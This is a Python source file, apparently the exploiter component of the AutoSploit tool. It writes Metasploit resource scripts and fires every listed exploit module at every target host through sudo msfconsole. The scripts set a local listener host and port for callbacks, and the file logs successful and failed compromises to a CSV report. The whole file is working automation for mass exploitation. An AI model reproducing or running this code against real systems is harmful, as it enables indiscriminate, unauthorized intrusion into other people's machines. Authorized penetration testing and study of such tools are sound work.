import datetime
import csv
import re
from os import (
    makedirs,
    path,
    linesep
)

import lib.settings
import lib.output


def whitelist_wash(hosts, whitelist_file):
    """
    remove IPs from hosts list that do not appear in WHITELIST_FILE
    """
    whitelist_hosts = open(whitelist_file).readlines()
    lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts))))
    washed_hosts = []
    #return supplied hosts if whitelist file is empty
    if len(whitelist_hosts) == 0:
        return hosts
    else:
        for host in hosts:
            if host in whitelist_hosts:
                washed_hosts.append(host)

    return washed_hosts

class AutoSploitExploiter(object):

    sorted_modules = []

    def __init__(self, configuration, all_modules, hosts=None, **kwargs):
        self.hosts = hosts
        self.configuration = configuration
        self.mods = all_modules
        self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH)
        self.query_file = open(self.query).read()
        self.single = kwargs.get("single", None)
        self.ruby_exec = kwargs.get("ruby_exec", False)
        self.msf_path = kwargs.get("msf_path", None)

    def view_sorted(self):
        """
        view the modules that have been sorted by the relevance
        there is a chance this will display 0
        """
        for mod in self.sorted_modules:
            print(mod)

    def sort_modules_by_query(self):
        """
        sort modules by relevance after reading the query from the
        temp file
        """
        for mod in self.mods:
            if self.query_file.strip() in mod:
                self.sorted_modules.append(mod)
        return self.sorted_modules

    def start_exploit(self):
        """
        start the exploit, there is still no rollover but it's being worked
        """
        # TODO:/ fix the rollover issue here

        today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss")
        current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable)
        makedirs(current_run_path)

        report_path = path.join(current_run_path, "report.csv")
        with open(report_path, 'w') as f:
            csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
            csv_file.writerow(['Target Host',
                               'Date (UTC)',
                               'MSF Module',
                               "LocalHost",
                               "Listening Port",
                               "Successful Logs",
                               "Failure Logs",
                               "All Logs"])

        for host in self.hosts:
            current_host_path = path.join(current_run_path, host.strip())
            makedirs(current_host_path)

            for mod in self.mods:
                lib.output.info(
                    "launching exploit '{}' against host '{}'".format(
                        mod.strip(), host.strip()
                    )
                )
                cmd_template = (
                    "sudo {use_ruby} {msf_path} -r {rc_script_path} -q"
                )

                use_ruby = "ruby" if self.ruby_exec else ""
                msf_path = self.msf_path if self.msf_path is not None else "msfconsole"



                # What's the point of having a workspace if you overwrite it every fucking time..
                rc_script_template = (
                    "workspace -a {workspace}\n"
                    "use {module_name}\n"
                    "setg lhost {lhost}\n"
                    "setg lport {lport}\n"
                    "setg verbose true\n"
                    "setg threads 20\n"
                    "set rhost {rhost}\n"
                    "set rhosts {rhosts}\n"
                    "run\n"
                    "exit\n"
                )

                module_name=mod.strip()
                workspace=self.configuration[0]
                lhost=self.configuration[1]
                lport=self.configuration[2]
                rhost=host.strip()

                current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip())
                with open(current_rc_script_path, 'w') as f:

                    f.writelines(rc_script_template.format(
                        module_name=module_name,
                        workspace=workspace,
                        lhost=lhost,
                        lport=lport,
                        rhost=rhost,
                        rhosts=rhost
                    ))

                with open(report_path, 'a') as f:

                    cmd = cmd_template.format(
                        use_ruby=use_ruby,
                        msf_path=msf_path,
                        rc_script_path=current_rc_script_path
                    )

                    output = lib.settings.cmdline(cmd)

                    ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]')
                    msf_output_lines = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)])
                    msf_wins = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[\+\]', x)])
                    msf_fails = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[-\]', x)])

                    csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
                    csv_file.writerow([rhost,
                                       today_printable,
                                       module_name,
                                       lhost,
                                       lport,
                                       msf_wins,
                                       msf_fails,
                                       msf_output_lines])
